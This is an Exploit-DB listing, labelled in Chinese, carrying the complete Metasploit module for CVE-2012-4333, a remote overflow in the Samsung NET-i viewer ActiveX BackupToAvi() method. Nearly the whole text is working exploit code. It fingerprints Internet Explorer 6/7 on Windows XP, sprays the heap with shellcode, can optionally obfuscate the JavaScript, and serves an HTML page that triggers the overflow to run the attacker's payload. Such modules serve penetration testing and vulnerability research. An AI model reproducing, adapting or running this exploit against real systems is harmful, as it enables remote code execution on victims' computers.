标题: Samsung NET-i viewer - Multiple ActiveX 'BackupToAvi()' Remote Overflows (Metasploit) EDB-ID: 19027 CVE: 2012-4333 类型: REMOTE 平台: WINDOWS 发布日期: 2012-06-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow",
   'Description'    => %q{
     This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed
    with the Samsung NET-i viewer 1.37.

    Specifically, when supplying a long string for the fname parameter to the
    BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer
    overflow due to the use of memcpy with an incorrect size, resulting in remote code
    execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma', # Vulnerability Discovery and PoC
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'OSVDB', '81453'],
     [ 'BID', '53193'],
     [ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ]
    ],
   'Payload'        =>
    {
     'Space'           => 1024,
     'BadChars'        => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "seh",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Samsung NET-i viewer 1.37
     # CNC_Ctrl.dll 1.5.1.1
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3',
      {
       'Ret' => 0x0c0c0c0c,
       'Offset' => '0x800 - code.length',
      }
     ],
     [ 'IE 7 on Windows XP SP3',
      {
       'Ret' => 0x0c0c0c0c,
       'Offset' => '0x800 - code.length',
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 21 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
   ], self.class)
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows XP SP3
  else
   return nil
  end
 end


 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  print_status("Target set: #{my_target.name}")

  p = payload.encoded
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

  js = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;
  var offset = nops.substring(0, #{my_target['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();

  for (var i=1; i < 0x200; i++) {
   heap_obj.alloc(block);
  }
  JS

  js = heaplib(js, {:noobfu => true})

  #obfuscate on demand
  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch))

  html = <<-EOS
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <object id="target1" classid="CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A"></object>
  <script>
   target1.BackupToAvi(0, 0, 0, unescape("#{bof}"));
  </script>
  <body>
  </html>
  EOS

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end URL: https://www.exploit-db.com/exploits/19027